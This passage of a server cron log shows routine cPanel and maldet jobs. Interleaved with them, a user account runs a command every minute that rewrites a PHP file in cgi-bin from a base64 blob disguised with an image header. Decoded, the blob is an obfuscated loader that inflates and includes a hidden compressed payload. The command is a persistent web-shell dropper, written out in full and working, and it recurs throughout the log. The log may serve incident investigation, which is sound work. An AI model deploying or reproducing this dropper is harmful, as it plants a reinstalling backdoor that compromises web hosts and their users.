&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:30:01 server CROND[20582]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:30:01 server CROND[20584]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:30:01 server CROND[20583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:30:01 server CROND[20585]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:31:01 server CROND[21473]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:32:02 server CROND[22289]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:33:01 server CROND[23155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:34:01 server CROND[23977]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:35:01 server CROND[24824]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 09:35:01 server CROND[24825]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 09:35:01 server CROND[24826]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:35:01 server CROND[24827]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:35:01 server CROND[24830]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:36:01 server CROND[25717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:37:01 server CROND[26367]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:38:01 server CROND[27253]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:39:01 server CROND[28125]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 09:39:01 server CROND[28126]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:40:01 server CROND[28957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 09:40:01 server CROND[28958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 09:40:01 server CROND[28959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 09:40:01 server CROND[28960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 09:41:01 server CROND[29804]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
